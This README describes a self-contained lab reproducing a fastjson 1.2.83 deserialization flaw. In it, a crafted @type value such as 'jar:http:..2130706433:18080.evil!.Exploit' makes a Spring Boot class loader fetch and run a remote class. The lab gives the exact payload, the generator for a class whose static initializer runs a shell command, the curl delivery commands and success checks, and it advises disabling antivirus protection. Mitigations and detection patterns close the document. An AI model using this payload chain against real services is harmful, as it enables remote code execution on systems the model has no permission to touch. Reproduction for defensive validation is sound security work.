A self-contained, loopback-only reproduction environment for the fastjson
ParserConfig.checkAutoType @JSONType probe vulnerability that turns a
crafted @type value into remote class loading via Spring Boot's
LaunchedURLClassLoader. Verified end-to-end on JDK 8 with a cmd.exe /c calc
payload (the calc window pops from the vuln-app JVM).
For authorized security research, local reproduction, and defensive validation only. Everything in this lab binds to
127.0.0.1. The RCE payload launchescalc.exeas a harmless, visual proof. Do not run any of this against systems you do not own or have explicit permission to assess.
# Terminal 1 — start the vulnerable target
cd vuln-app
export JDK8=/e/software/jdk/jdk1.8.0_431
JAVA_HOME=$JDK8 PATH=$JDK8/bin:$PATH /e/software/maven/apache-maven-3.9.2/bin/mvn clean package -DskipTests
$JDK8/bin/java.exe -jar target/fastjson-jsontype-vuln-app.jar
# Terminal 2 — run the PoC
cd poc
./run-poc.sh
# → calc pops on the vuln-app host within a few seconds (RCE proof)If your Windows Defender is on, it will quarantine evil.jar (it signatures
the Runtime.exec payload). Either add this lab directory to Defender's
exclusion list or temporarily disable real-time protection for the duration of
the test.
fastjson-jsontype-lab/
├── README.md (this file)
├── vuln-app/ Spring Boot 2.7.18 + fastjson 1.2.83 FatJar target
│ ├── pom.xml
│ └── src/main/
│ ├── java/com/lab/vuln/
│ │ ├── VulnApplication.java
│ │ ├── LaunchedClassLoaderInitializer.java ← the trigger wiring
│ │ ├── ParseController.java (/info /parse /parse-async /check)
│ │ └── AsyncParser.java (worker thread, RCE lane)
│ └── resources/application.properties (127.0.0.1:8081)
└── poc/
├── GenPayload.java ASM generator: jar:URL-named class + calc <clinit>
├── payload.json the @type payload (uses integer IP 2130706433)
├── build-malicious-jar.sh compiles Gen + generates evil.jar via java.util.zip
├── serve-jar.sh serves /evil -> evil.jar on 127.0.0.1:18080
└── run-poc.sh one-shot driver (build → serve → exploit → report)
{"@type":"jar:http:..2130706433:18080.evil!.Exploit","x":1}Two non-obvious bits:
2130706433is127.0.0.1written as a single decimal integer. The dotted form127.0.0.1does not work — see "Why integer IP" below...is the trick that reconstructs a URL out of what looks like a class name. fastjson's@JSONTypeprobe doestypeName.replace('.', '/') + ".class", which turns..into//:jar:http:..2130706433:18080.evil!.Exploit -> jar:http://2130706433:18080/evil!/Exploit.class
ParserConfig.checkAutoType runs a @JSONType "probe" path that is reachable
even when AutoType is globally disabled (the probe is a trust channel). The
probe reconstructs the resource name as above and asks the configured
defaultClassLoader for it as a stream:
String resource = typeName.replace('.', '/') + ".class";
InputStream is = defaultClassLoader.getResourceAsStream(resource);
// then: ClassReader -> TypeCollector.hasJsonType()
// then: TypeUtils.loadClass(typeName, defaultClassLoader, true)When defaultClassLoader is a Spring Boot LaunchedURLClassLoader,
getResourceAsStream actually treats jar:http://...!/...class as a real
nested-jar URL and issues an HTTP GET to fetch it.
A plain "run inside Spring Boot FatJar" setup is not sufficient on its own.
The probe uses ParserConfig.defaultClassLoader, which by default is the
context classloader of whatever thread calls JSON.parse — and on a Tomcat
request thread that is not the right loader. The upstream research harness
(Test2 in the original PoC repo) makes the chain work by explicitly:
- Constructing a
LaunchedURLClassLoaderwhose URL array points at the FatJar (LaunchedClassLoaderInitializerdoes this via reflection). - Calling
ParserConfig.getGlobalInstance().setDefaultClassLoader(thatLoader).
This mirrors the real-world trigger condition (an application calling
setDefaultClassLoader with a jar-URL-aware loader) and is what makes the
probe actually fetch + defineClass the remote class.
GenPayload.java uses ASM to emit a class whose bytecode internal name is
exactly jar:http://2130706433:18080/evil!/Exploit (impossible to write as
Java source), decorated with a runtime-visible @JSONType. Its <clinit>:
System.out.println("REMOTE RCE <clinit> EXECUTED (cmd launched from remote class)");
Runtime.getRuntime().exec("cmd.exe /c calc");When fastjson defineClasss the fetched bytes and initializes the class,
<clinit> runs inside the vuln-app JVM → calc pops.
fastjson's probe does typeName.replace('.', '/'). A dotted IP like
127.0.0.1 becomes 127/0/0/1, breaking the URL host and making the
reconstructed resource name unresolvable — the probe returns null and
checkAutoType falls through to the deny-hash gate, throwing
autoType is not support. The integer form 2130706433 has no dots, survives
the replacement, and resolves to loopback at the HTTP layer.
This is also why the README's defensive guidance suggests alerting on
integer-form IP literals in @type values.
| Endpoint | Thread | Behavior |
|---|---|---|
POST /parse |
Tomcat request thread | The probe still runs (it uses defaultClassLoader, not the thread's TCCL), so the jar is fetched — but on this thread the class-definition leg typically doesn't complete. Use it to demonstrate the SSRF side. |
POST /parse-async |
startup-created worker thread | Full RCE — class is defined and <clinit> runs, calc pops. |
POST /check |
(any) | Bypasses the JSON parser and calls checkAutoType directly with a raw type name. Cleanest single demonstration of the probe. |
GET /info |
(any) | Diagnostics: thread, TCCL, parserConfigClassLoader, parserConfigDefaultClassLoader, autoTypeSupport. |
JDK 9+ tightens defineClass's class-name validation and rejects the
jar:http://…!/Exploit internal name, so the chain stops at the SSRF step.
JDK 8's verifier accepts those bytes — that's what makes the RCE leg work.
- JDK 8. This lab assumes
/e/software/jdk/jdk1.8.0_431; override with theJDK8env var. - Maven. On this machine:
/e/software/maven/apache-maven-3.9.2/bin/mvn. - curl, python (3.7+ for
http.server --directory), bash. - Windows host if you want the default
cmd.exe /c calcpayload to be visible. For other OSes, pass-Dpoc.cmd=...when running GenPayload and rebuild evil.jar. - Antivirus exception for this lab directory if your AV signatures the
Runtime.execpayload (Windows Defender does).
cd poc
./build-malicious-jar.sh
./serve-jar.sh & # background; serves 127.0.0.1:18080/evil
SERVE_PID=$!
# SSRF demonstration lane (jar is fetched, class usually not defined here):
curl -X POST http://127.0.0.1:8081/parse \
-H 'Content-Type: application/json' \
-d @payload.json
# Full-RCE lane (calc should pop on the vuln-app host):
curl -X POST http://127.0.0.1:8081/parse-async \
-H 'Content-Type: application/json' \
-d @payload.json
# Direct checkAutoType demonstration:
curl -X POST http://127.0.0.1:8081/check \
-H 'Content-Type: text/plain' \
-d 'jar:http:..2130706433:18080.evil!.Exploit'
kill $SERVE_PIDSuccess indicators on a /parse-async hit:
- The curl response body has
"resultClass":"jar:http:..2130706433:18080.evil!.Exploit"— fastjson deserialized the request into an instance of the remote class. - The jar server log shows two
GET /evillines (one for the probe'sgetResourceAsStream, one for the subsequentloadClass). - The vuln-app console logs
REMOTE RCE <clinit> EXECUTED. - A
CalculatorAppprocess is running on the vuln-app host, started at the moment of the POST.
$JDK8/bin/javap.exe -v -p poc/build/Exploit.class | head -30
# this_class should read: "jar:http://2130706433:18080/evil!/Exploit"(build/ rather than crafted/ because GenPayload writes the jar directly
via java.util.zip, bypassing the external jar tool — some AV products
intercept reads of the crafted .class between generation and packaging.)
- Enable fastjson SafeMode:
-Dfastjson.parser.safeMode=true. - Migrate to fastjson2 and remove fastjson 1.x from untrusted JSON paths.
- Run on JDK 9+ where possible — blocks the class-definition leg (SSRF still needs separate mitigation).
- Enforce strict egress so application runtimes cannot fetch arbitrary HTTP.
- Alert on
@typevalues containingjar:,!,..URL-reconstruction patterns, or integer-form IP literals (e.g.2130706433). - Audit
ParserConfig.setDefaultClassLoader(...)call sites — avoid class loaders that interpret attacker-controlled resource names as URLs.
- PoC says target not responding: start
vuln-appfirst (Terminal 1). autoType is not supporterror, no calc: you are almost certainly using a dotted IP (127.0.0.1) in the payload/internal name. The probe'sreplace('.','/')corrupts it. Use the integer form2130706433.- evil.jar is empty / AV quarantined it: the
Runtime.execbytecode is signature-matched. Add this lab directory to your AV exclusion list, or temporarily disable real-time protection, then re-runbuild-malicious-jar.sh. /parsefetches the jar but no calc: that's expected on the request thread. Use/parse-asyncfor the full RCE demo.- Calc doesn't pop on a non-Windows host: regenerate the class with a
different command, e.g.
java -Dpoc.cmd="touch /tmp/RCE_PROOF" GenPayload ..., and rebuild evil.jar. serve-jar.sherrors with "address already in use": a previous run is still bound to :18080.killit or changePOC_PORT(and updatepayload.json+GenPayload's internal name to match).
- fastjson
ParserConfig.checkAutoType, the@JSONTypeprobe block where thetypeName.replace('.', '/')reconstruction happens. - Spring Boot
org.springframework.boot.loader.jar.Handler#parseURL, where nested-jar URL handling differs from the plain JDK classpath path. - The
@JSONTypeprobe behavior introduced in fastjson 1.2.66 and present through 1.2.83. - Original research harness: https://github.com/wouijvziqy/Fastjson-JsonType-RCE-PoC
(this lab's
LaunchedClassLoaderInitializermirrors itsTest2.java).